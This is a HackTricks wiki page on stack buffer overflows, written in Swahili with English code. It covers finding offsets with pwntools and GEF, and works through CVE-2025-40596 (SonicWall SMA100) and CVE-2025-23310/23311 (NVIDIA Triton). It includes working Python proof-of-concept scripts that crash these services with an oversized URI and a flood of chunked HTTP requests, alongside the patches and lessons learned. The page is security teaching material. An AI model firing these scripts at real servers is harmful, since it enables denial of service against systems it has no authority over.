9.5 KiB
Raw Blame History

Stack Overflow

{{#include ../../banners/hacktricks-training.md}}

What is a Stack Overflow

A stack overflow ni udhaifu unaotokea wakati programu inapoandika data zaidi kwenye stack kuliko ilivyopewa kushikilia. Data hii ya ziada it andika nafasi ya kumbukumbu iliyo karibu, ikisababisha uharibifu wa data halali, kuingiliwa kwa mtiririko wa udhibiti, na kwa uwezekano wa utekelezaji wa msimbo mbaya. Tatizo hili mara nyingi linatokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye ingizo.

Tatizo kuu la kuandika tena ni kwamba pointer ya maagizo iliyohifadhiwa (EIP/RIP) na pointer ya msingi iliyohifadhiwa (EBP/RBP) za kurudi kwenye kazi ya awali zime hifadhiwa kwenye stack. Hivyo, mshambuliaji ataweza kuandika tena hizo na kudhibiti mtiririko wa utekelezaji wa programu.

Udhaifu huu kawaida hutokea kwa sababu kazi inakopi ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake, hivyo kuwa na uwezo wa kuandika tena sehemu nyingine za stack.

Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: strcpy, strcat, sprintf, gets... Pia, kazi kama fgets, read & memcpy ambazo zinachukua kigezo cha urefu, zinaweza kutumika kwa njia inayoweza kuwa na udhaifu ikiwa urefu ulioelezwa ni mkubwa kuliko ule uliotengwa.

Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Kutafuta ofseti za Stack Overflows

Njia ya kawaida zaidi ya kutafuta stack overflows ni kutoa ingizo kubwa sana la As (kwa mfano python3 -c 'print("A"*1000)') na kutarajia Segmentation Fault ikionyesha kwamba anwani 0x41414141 ilijaribu kufikiwa.

Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kutafuta ofseti hadi iwezekane kufuta anwani ya kurudi, kwa hili mara nyingi hutumiwa De Bruijn sequence. Ambayo kwa alfabeti iliyotolewa ya ukubwa k na subsequences za urefu n ni mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu n inaonekana mara moja tu kama subsequence iliyo karibu.

Kwa njia hii, badala ya kuhitaji kubaini ni ofseti ipi inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kutafuta ofseti ya bytes ambazo zilimaliza kufuta hiyo.

Inawezekana kutumia pwntools kwa hili:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

au GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Kutumia Stack Overflows

Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza kuandika upya thamani za mabadiliko ya ndani ndani ya stack hadi kufikia EBP/RBP na EIP/RIP (au hata zaidi).
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa kubadilisha anwani ya kurudi ili wakati kazi inamalizika mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobainisha katika kiashiria hiki.

Hata hivyo, katika hali nyingine labda tu kuandika upya baadhi ya thamani za mabadiliko katika stack kunaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF).

Ret2win

Katika aina hii ya changamoto za CTF, kuna kazi ndani ya binary ambayo haitaitwa kamwe na ambayo unahitaji kuitwa ili kushinda. Kwa ajili ya changamoto hizi unahitaji tu kupata offset ya kuandika upya anwani ya kurudi na kupata anwani ya kazi ya kuita (kawaida ASLR itakuwa imezimwa) ili wakati kazi iliyo hatarini inarudi, kazi iliyofichwa itaitwa:

{{#ref}} ret2win/ {{#endref}}

Stack Shellcode

Katika hali hii mshambuliaji anaweza kuweka shellcode katika stack na kutumia EIP/RIP iliyo na udhibiti kuruka kwenye shellcode na kutekeleza msimbo wa kiholela:

{{#ref}} stack-shellcode/ {{#endref}}

ROP & Ret2... techniques

Teknolojia hii ni muundo wa msingi wa kupita ulinzi mkuu wa teknolojia iliyopita: No executable stack (NX). Na inaruhusu kutekeleza mbinu kadhaa nyingine (ret2lib, ret2syscall...) ambazo zitamaliza kwa kutekeleza amri za kiholela kwa kutumia maagizo yaliyopo katika binary:

{{#ref}} ../rop-return-oriented-programing/ {{#endref}}

Heap Overflows

Overflow si kila wakati utaenda kuwa katika stack, inaweza pia kuwa katika heap kwa mfano:

{{#ref}} ../libc-heap/heap-overflow.md {{#endref}}

Aina za ulinzi

Kuna ulinzi kadhaa zinazojaribu kuzuia matumizi ya udhaifu, angalia katika:

{{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}}

Mfano wa Uhalisia: CVE-2025-40596 (SonicWall SMA100)

Onyesho zuri la kwa nini sscanf haipaswi kuaminika kamwe kwa kuchambua pembejeo zisizoaminika lilionekana mwaka wa 2025 katika kifaa cha SonicWall SMA100 SSL-VPN. Ruti iliyo hatarini ndani ya /usr/src/EasyAccess/bin/httpd inajaribu kutoa toleo na kiunganishi kutoka kwa URI yoyote inayaanza na /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Mabadiliko ya kwanza (%2s) hifadhi salama bytes mbili ndani ya version (kwa mfano, "v1").
  2. Mabadiliko ya pili (%s) hayana mwelekeo wa urefu, kwa hivyo sscanf itaendelea nakala hadi byte ya kwanza ya NUL.
  3. Kwa sababu endpoint iko kwenye stack na ina urefu wa 0x800 bytes, kutoa njia ndefu zaidi ya 0x800 bytes inaharibu kila kitu kilichopo baada ya buffer ikiwa ni pamoja na stack canary na anwani ya kurudi iliyohifadhiwa.

Uthibitisho wa dhana wa mstari mmoja unatosha kuanzisha ajali kabla ya uthibitisho:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Hata hivyo, stack canaries zinapofanya mchakato usitishwe, mshambuliaji bado anapata Denial-of-Service primitive (na, kwa uvujaji wa habari za ziada, huenda akapata utekelezaji wa msimbo). Somo ni rahisi:

  • Daima toa upana wa uwanja wa juu (kwa mfano, %511s).
  • Prefer njia salama kama snprintf/strncpy_s.

Mfano wa Uhalisia: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIAs Triton Inference Server (≤ v25.06) ilikuwa na overflows nyingi za msingi wa stack zinazoweza kufikiwa kupitia API yake ya HTTP. Mwelekeo unaoweza kuathiriwa ulionekana mara kwa mara katika http_server.cc na sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) inarudisha idadi ya sehemu za buffer za ndani zinazounda mwili wa ombi la HTTP wa sasa.
  2. Kila sehemu inasababisha 16-byte evbuffer_iovec kutengwa kwenye stack kupitia alloca() bila mipaka yoyote ya juu.
  3. Kwa kutumia HTTP chunked transfer-encoding, mteja anaweza kulazimisha ombi kugawanywa katika mamia ya maelfu ya vipande vya 6-byte ("1\r\nA\r\n"). Hii inafanya n kukua bila mipaka hadi stack itumike.

Proof-of-Concept (DoS)

#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

A ~3 MB ombi linatosha kubadilisha anwani ya kurudi iliyohifadhiwa na kuangusha daemon kwenye ujenzi wa kawaida.

Patch & Mitigation

Toleo la 25.07 linabadilisha ugawaji wa stack usio salama na std::vector inayoungwa mkono na heap na kushughulikia kwa ustadi std::bad_alloc:

std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Masomo yaliyopatikana:

  • Kamwe usiite alloca() na saizi zinazodhibitiwa na mshambuliaji.
  • Maombi yaliyogawanywa yanaweza kubadilisha kwa kiasi kikubwa umbo la vichwa vya seva.
  • Thibitisha / weka mipaka ya thamani yoyote inayotokana na input ya mteja kabla ya kuitumia katika allocation za kumbukumbu.

Marejeo

{{#include ../../banners/hacktricks-training.md}}